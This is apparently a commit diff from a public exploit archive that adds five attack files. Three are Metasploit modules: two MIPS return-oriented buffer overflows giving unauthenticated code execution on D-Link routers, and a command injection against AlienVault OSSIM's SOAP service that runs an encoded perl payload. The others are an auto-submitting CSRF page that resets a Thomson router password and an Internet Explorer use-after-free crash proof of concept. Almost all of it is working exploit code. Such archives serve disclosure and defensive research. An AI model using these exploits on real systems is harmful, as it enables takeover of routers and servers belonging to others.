Updated 06_26_2014
This commit is contained in:
Offensive Security
parent
3e99626f23
commit
c28dbf00b0
6 changed files with 514 additions and 0 deletions
|
|
@ -30497,3 +30497,8 @@ id,file,description,date,author,platform,type,port
|
|||
33856,platforms/php/webapps/33856.txt,"Viennabux Beta! 'cat' Parameter SQL Injection Vulnerability",2010-04-09,"Easy Laster",php,webapps,0
|
||||
33857,platforms/php/webapps/33857.txt,"e107 0.7.x 'e107_admin/banner.php' SQL Injection Vulnerability",2010-04-21,"High-Tech Bridge SA",php,webapps,0
|
||||
33858,platforms/php/webapps/33858.txt,"DBSite wb CMS 'index.php' Multiple Cross Site Scripting Vulnerabilities",2010-04-21,The_Exploited,php,webapps,0
|
||||
33860,platforms/windows/dos/33860.html,"Internet Explorer 8, 9 & 10 - CInput Use-After-Free (MS14-035) - Crash PoC",2014-06-24,"Drozdova Liudmila",windows,dos,0
|
||||
33862,platforms/hardware/remote/33862.rb,"D-Link authentication.cgi Buffer Overflow",2014-06-24,metasploit,hardware,remote,80
|
||||
33863,platforms/hardware/remote/33863.rb,"D-Link hedwig.cgi Buffer Overflow in Cookie Header",2014-06-24,metasploit,hardware,remote,80
|
||||
33865,platforms/linux/remote/33865.rb,"AlienVault OSSIM av-centerd Command Injection",2014-06-24,metasploit,linux,remote,40007
|
||||
33866,platforms/hardware/webapps/33866.html,"Thomson TWG87OUIR - POST Password CSRF",2014-06-25,nopesled,hardware,webapps,0
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
132
platforms/hardware/remote/33862.rb
Executable file
132
platforms/hardware/remote/33862.rb
Executable file
|
|
@ -0,0 +1,132 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStagerEcho
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'D-Link authentication.cgi Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits an remote buffer overflow vulnerability on several D-Link routers.
|
||||
The vulnerability exists in the handling of HTTP queries to the authentication.cgi with
|
||||
long password values. The vulnerability can be exploitable without authentication. This
|
||||
module has been tested successfully on D-Link firmware DIR645A1_FW103B11. Other firmwares
|
||||
such as the DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Roberto Paleari', # Vulnerability discovery
|
||||
'Craig Heffner', # also discovered the vulnerability / help with some parts of this module
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module and verification on several other routers
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['linux'],
|
||||
'Arch' => ARCH_MIPSLE,
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '95951'],
|
||||
['EDB', '27283'],
|
||||
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008'], #advisory on vendor web site
|
||||
['URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000'], #vendor web site of router
|
||||
['URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt'] #original advisory
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'D-Link DIR-645 1.03',
|
||||
{
|
||||
'Offset' => 1011,
|
||||
'LibcBase' => 0x2aaf8000, #Router
|
||||
#'LibcBase' => 0x40854000, # QEMU environment
|
||||
'System' => 0x000531FF, # address of system
|
||||
'CalcSystem' => 0x000158C8, # calculate the correct address of system
|
||||
'CallSystem' => 0x000159CC, # call our system
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Feb 08 2013',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => "/authentication.cgi",
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /status.*uid/
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} - Accessing the vulnerable URL...")
|
||||
|
||||
unless check == Exploit::CheckCode::Detected
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Exploiting...")
|
||||
execute_cmdstager(
|
||||
:linemax => 200,
|
||||
:concat_operator => " && "
|
||||
)
|
||||
end
|
||||
|
||||
def prepare_shellcode(cmd)
|
||||
shellcode = rand_text_alpha_upper(target['Offset']) # padding
|
||||
shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system
|
||||
shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4
|
||||
shellcode << [target['LibcBase'] + target['CallSystem']].pack("V") # s5 - second gadget (call system)
|
||||
|
||||
# .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x170+var_160 # get the address of our command into $s5
|
||||
# .text:000159D0 21 28 60 02 move $a1, $s3 # not used
|
||||
# .text:000159D4 21 30 20 02 move $a2, $s1 # not used
|
||||
# .text:000159D8 21 C8 00 02 move $t9, $s0 # $s0 - system
|
||||
# .text:000159DC 09 F8 20 03 jalr $t9 # call system
|
||||
# .text:000159E0 21 20 A0 02 move $a0, $s5 # our cmd -> into a0 as parameter for system
|
||||
|
||||
shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp
|
||||
shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare the parameter for system)
|
||||
|
||||
# .text:000158C8 21 C8 A0 02 move $t9, $s5 # s5 - our second gadget
|
||||
# .text:000158CC 09 F8 20 03 jalr $t9 # jump the second gadget
|
||||
# .text:000158D0 01 00 10 26 addiu $s0, 1 # s0 our system address - lets calculate the right address
|
||||
|
||||
shellcode << rand_text_alpha_upper(16) # filler in front of our command
|
||||
shellcode << cmd
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts)
|
||||
shellcode = prepare_shellcode(cmd)
|
||||
uid = rand_text_alpha(4)
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => "/authentication.cgi",
|
||||
'cookie' => "uid=#{uid}",
|
||||
'encode_params' => false,
|
||||
'vars_post' => {
|
||||
'uid' => uid,
|
||||
'password' => rand_text_alpha(3) + shellcode,
|
||||
}
|
||||
})
|
||||
return res
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
|
||||
end
|
||||
end
|
||||
end
|
||||
130
platforms/hardware/remote/33863.rb
Executable file
130
platforms/hardware/remote/33863.rb
Executable file
|
|
@ -0,0 +1,130 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStagerEcho
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'D-Link hedwig.cgi Buffer Overflow in Cookie Header',
|
||||
'Description' => %q{
|
||||
This module exploits an anonymous remote code execution vulnerability on several D-Link
|
||||
routers. The vulnerability exists in the handling of HTTP queries to the hedwig.cgi with
|
||||
long value cookies. This module has been tested successfully on D-Link DIR300v2.14, DIR600
|
||||
and the DIR645A1_FW103B11 firmware.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Roberto Paleari', # Vulnerability discovery
|
||||
'Craig Heffner', # also discovered the vulnerability / help with some parts of this exploit
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module and verification on several other routers
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '95950'],
|
||||
['EDB', '27283'],
|
||||
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008'], #advisory on vendor web site
|
||||
['URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000'], #vendor web site of router
|
||||
['URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt'] #original advisory
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_MIPSLE,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Multiple Targets: D-Link DIR-645 v1.03, DIR-300 v2.14, DIR-600',
|
||||
{
|
||||
'Offset' => 973,
|
||||
'LibcBase' => 0x2aaf8000, # Router
|
||||
#'LibcBase' => 0x40854000, # QEMU environment
|
||||
'System' => 0x000531FF, # address of system
|
||||
'CalcSystem' => 0x000158C8, # calculate the correct address of system
|
||||
'CallSystem' => 0x000159CC, # call our system
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Feb 08 2013',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => "/hedwig.cgi",
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /unsupported HTTP request/
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} - Accessing the vulnerable URL...")
|
||||
|
||||
unless check == Exploit::CheckCode::Detected
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Exploiting...")
|
||||
execute_cmdstager(
|
||||
:linemax => 200,
|
||||
:concat_operator => " && "
|
||||
)
|
||||
end
|
||||
|
||||
def prepare_shellcode(cmd)
|
||||
shellcode = rand_text_alpha_upper(target['Offset']) # padding
|
||||
shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system
|
||||
shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4
|
||||
shellcode << [target['LibcBase'] + target['CallSystem']].pack("V") # s5 - second gadget (call system)
|
||||
|
||||
# .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x170+var_160 # get the address of our command into $s5
|
||||
# .text:000159D0 21 28 60 02 move $a1, $s3 # not used
|
||||
# .text:000159D4 21 30 20 02 move $a2, $s1 # not used
|
||||
# .text:000159D8 21 C8 00 02 move $t9, $s0 # $s0 - system
|
||||
# .text:000159DC 09 F8 20 03 jalr $t9 # call system
|
||||
# .text:000159E0 21 20 A0 02 move $a0, $s5 # our cmd -> into a0 as parameter for system
|
||||
|
||||
shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp
|
||||
shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare the parameter for system)
|
||||
|
||||
# .text:000158C8 21 C8 A0 02 move $t9, $s5 # s5 - our second gadget
|
||||
# .text:000158CC 09 F8 20 03 jalr $t9 # jump the second gadget
|
||||
# .text:000158D0 01 00 10 26 addiu $s0, 1 # s0 our system address - lets calculate the right address
|
||||
|
||||
shellcode << rand_text_alpha_upper(16) # filler in front of our command
|
||||
shellcode << cmd
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts)
|
||||
shellcode = prepare_shellcode(cmd)
|
||||
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => "/hedwig.cgi",
|
||||
'cookie' => "uid=#{shellcode}",
|
||||
'encode_params' => false,
|
||||
'vars_post' => {
|
||||
rand_text_alpha(4) => rand_text_alpha(4)
|
||||
}
|
||||
})
|
||||
return res
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
|
||||
end
|
||||
end
|
||||
end
|
||||
22
platforms/hardware/webapps/33866.html
Executable file
22
platforms/hardware/webapps/33866.html
Executable file
|
|
@ -0,0 +1,22 @@
|
|||
#Author: nopesled
|
||||
#Date: 24/06/14
|
||||
#Vulnerability: POST Password Reset CSRF
|
||||
#Tested on: Thomson TWG87OUIR (Hardware Version)
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Thomson TWG87OUIR CSRF</title>
|
||||
</head>
|
||||
<body>
|
||||
<form name="exploit" method="post"
|
||||
action="http://192.168.0.1/goform/RgSecurity">
|
||||
<input type="hidden" name="HttpUserId" value="" />
|
||||
<input type="hidden" name="Password" value="newpass" />
|
||||
<input type="hidden" name="PasswordReEnter" value="newpass" />
|
||||
<input type="hidden" name="RestoreFactoryNo" value-="0x00" />
|
||||
</form>
|
||||
<script type="text/javascript">
|
||||
document.exploit.submit();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
140
platforms/linux/remote/33865.rb
Executable file
140
platforms/linux/remote/33865.rb
Executable file
|
|
@ -0,0 +1,140 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rexml/document'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include REXML
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'AlienVault OSSIM av-centerd Command Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a code execution flaw in AlienVault 4.6.1 and
|
||||
prior. The vulnerability exists in the av-centerd SOAP web service,
|
||||
where the update_system_info_debian_package method uses perl backticks
|
||||
in an insecure way, allowing command injection. This module has been
|
||||
tested successfully on AlienVault 4.6.0.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # From HP ZDI team, Vulnerability discovery
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-3804'],
|
||||
['BID', '67999'],
|
||||
['ZDI', '14-202'],
|
||||
['URL', 'http://forums.alienvault.com/discussion/2690']
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Payload' =>
|
||||
{
|
||||
#'BadChars' => "[;`$<>|]", # Don't apply bcuz of the perl stub applied
|
||||
'Compat' => {
|
||||
'RequiredCmd' => 'perl netcat-e openssl python gawk'
|
||||
}
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'AlienVault <= 4.6.1', { }]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'May 5 2014'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(40007)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
version = ""
|
||||
res = send_soap_request("get_dpkg")
|
||||
|
||||
if res &&
|
||||
res.code == 200 &&
|
||||
res.headers['SOAPServer'] &&
|
||||
res.headers['SOAPServer'] =~ /SOAP::Lite/ &&
|
||||
res.body.to_s =~ /alienvault-center\s*([\d\.]*)-\d/
|
||||
|
||||
version = $1
|
||||
end
|
||||
|
||||
if version.empty? || version >= "4.7.0"
|
||||
return Exploit::CheckCode::Safe
|
||||
else
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
send_soap_request("update_system_info_debian_package", 1)
|
||||
end
|
||||
|
||||
def build_soap_request(method)
|
||||
xml = Document.new
|
||||
xml.add_element(
|
||||
"soap:Envelope",
|
||||
{
|
||||
'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance",
|
||||
'xmlns:soapenc' => "http://schemas.xmlsoap.org/soap/encoding/",
|
||||
'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",
|
||||
'soap:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/",
|
||||
'xmlns:soap' => "http://schemas.xmlsoap.org/soap/envelope/"
|
||||
})
|
||||
body = xml.root.add_element("soap:Body")
|
||||
m = body.add_element(
|
||||
method,
|
||||
{
|
||||
'xmlns' => "AV/CC/Util"
|
||||
})
|
||||
args = []
|
||||
args[0] = m.add_element("c-gensym3", {'xsi:type' => 'xsd:string'})
|
||||
args[1] = m.add_element("c-gensym5", {'xsi:type' => 'xsd:string'})
|
||||
args[2] = m.add_element("c-gensym7", {'xsi:type' => 'xsd:string'})
|
||||
args[3] = m.add_element("c-gensym9", {'xsi:type' => 'xsd:string'})
|
||||
(0..3).each { |i| args[i].text = rand_text_alpha(4 + rand(4)) }
|
||||
|
||||
if method == "update_system_info_debian_package"
|
||||
args[4] = m.add_element("c-gensym11", {'xsi:type' => 'xsd:string'})
|
||||
perl_payload = "system(decode_base64"
|
||||
perl_payload += "(\"#{Rex::Text.encode_base64(payload.encoded)}\"))"
|
||||
args[4].text = "#{rand_text_alpha(4 + rand(4))}"
|
||||
args[4].text += " && perl -MMIME::Base64 -e '#{perl_payload}'"
|
||||
end
|
||||
|
||||
xml.to_s
|
||||
end
|
||||
|
||||
def send_soap_request(method, timeout = 20)
|
||||
soap = build_soap_request(method)
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/av-centerd',
|
||||
'method' => 'POST',
|
||||
'ctype' => 'text/xml; charset=UTF-8',
|
||||
'data' => soap,
|
||||
'headers' => {
|
||||
'SOAPAction' => "\"AV/CC/Util##{method}\""
|
||||
}
|
||||
}, timeout)
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
end
|
||||
85
platforms/windows/dos/33860.html
Executable file
85
platforms/windows/dos/33860.html
Executable file
|
|
@ -0,0 +1,85 @@
|
|||
<!--
|
||||
Exploit Title: MS14-035 Internet Explorer CInput Use-after-free POC
|
||||
Product: Internet Explorer
|
||||
Vulnerable version: 8,9,10
|
||||
Date: 23.06.2014
|
||||
Exploit Author: Drozdova Liudmila, ITDefensor Vulnerability Research Team (http://itdefensor.ru/)
|
||||
Vendor Homepage: http://www.microsoft.com/
|
||||
Tested on: Window 7 SP1 x86 IE 8,9,10
|
||||
CVE : unknown
|
||||
-->
|
||||
<html>
|
||||
<head><title>MS14-035 Internet Explorer CInput Use-after-free POC</title></head>
|
||||
<body>
|
||||
|
||||
<form id="testfm">
|
||||
<textarea id="child" value="a1" ></textarea>
|
||||
<input id="child2" type="checkbox" name="option2" value="a2">Test check<Br>
|
||||
<textarea id="child3" value="a2" ></textarea>
|
||||
<input type="text" name="test1">
|
||||
</form>
|
||||
|
||||
<script>
|
||||
|
||||
var startfl=false;
|
||||
|
||||
|
||||
function changer() {
|
||||
// Call of changer function will happen inside mshtml!CFormElement::DoReset call, after execution of this function crash in DoReset will happen when accessing freed CInput element
|
||||
if (startfl) {
|
||||
document.getElementById("testfm").innerHTML = ""; // Destroy form contents, free next CInput in DoReset
|
||||
CollectGarbage();
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
document.getElementById("child2").checked = true;
|
||||
document.getElementById("child2").onpropertychange=changer;
|
||||
startfl = true;
|
||||
document.getElementById("testfm").reset(); // DoReset call
|
||||
|
||||
</script>
|
||||
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
|
||||
<!--
|
||||
Crash details
|
||||
|
||||
|
||||
(fd4.d84): Access violation - code c0000005 (first chance)
|
||||
First chance exceptions are reported before any exception handling.
|
||||
This exception may be expected and handled.
|
||||
eax=6a5c0704 ebx=0556b358 ecx=081c2848 edx=00000004 esi=081c2848 edi=00000002
|
||||
eip=00000000 esp=025bce94 ebp=025bceb4 iopl=0 nv up ei pl zr na pe nc
|
||||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
|
||||
00000000 ?? ???
|
||||
0:004> kb
|
||||
ChildEBP RetAddr Args to Child
|
||||
WARNING: Frame IP not in any known module. Following frames may be wrong.
|
||||
025bce90 6a5d1742 091ac108 00001200 6aafcb54 0x0
|
||||
025bceb4 6a733150 0556b358 091ac108 6a73311d mshtml!CFormElement::DoReset+0xea
|
||||
025bced0 6a7ef10b 0556b358 091ac108 0363d298 mshtml!Method_void_void+0x75
|
||||
025bcf44 6a7fa6c6 0556b358 000003f2 00000001 mshtml!CBase::ContextInvokeEx+0x5dc
|
||||
025bcf94 6a81738a 0556b358 000003f2 00000001 mshtml!CElement::ContextInvokeEx+0x9d
|
||||
025bcfd0 6a79bc0e 0556b358 000003f2 00000001 mshtml!CFormElement::VersionedInvokeEx+0xf0
|
||||
025bd024 6c38a26e 0363d838 000003f2 00000001 mshtml!PlainInvokeEx+0xeb
|
||||
025bd060 6c38a1b9 08968530 000003f2 00000409 jscript!IDispatchExInvokeEx2+0x104
|
||||
025bd09c 6c38a43a 08968530 00000409 00000001 jscript!IDispatchExInvokeEx+0x6a
|
||||
025bd15c 6c38a4e4 000003f2 00000001 00000000 jscript!InvokeDispatchEx+0x98
|
||||
025bd190 6c39d9a8 08968530 025bd1c4 00000001 jscript!VAR::InvokeByName+0x139
|
||||
025bd1dc 6c39da4f 08968530 00000001 00000000 jscript!VAR::InvokeDispName+0x7d
|
||||
025bd208 6c39e4c7 08968530 00000000 00000001 jscript!VAR::InvokeByDispID+0xce
|
||||
025bd3a4 6c395d7d 025bd3bc 025bd500 0113ca98 jscript!CScriptRuntime::Run+0x2b80
|
||||
025bd48c 6c395cdb 025bd500 00000000 00000000 jscript!ScrFncObj::CallWithFrameOnStack+0xce
|
||||
025bd4d4 6c395ef1 025bd500 00000000 00000000 jscript!ScrFncObj::Call+0x8d
|
||||
025bd550 6c39620a 0113ca98 025bd710 00000000 jscript!CSession::Execute+0x15f
|
||||
025bd59c 6c39c3b9 08987c70 025bd710 025bd720 jscript!COleScript::ExecutePendingScripts+0x1bd
|
||||
025bd600 6c39c1d1 08987c70 002d346c 6a75f7b0 jscript!COleScript::ParseScriptTextCore+0x2a4
|
||||
025bd628 6a75f774 08987c74 03dc016c 002d346c jscript!COleScript::ParseScriptText+0x30
|
||||
|
||||
|
||||
--!>
|
||||
Loading…
Add table
Reference in a new issue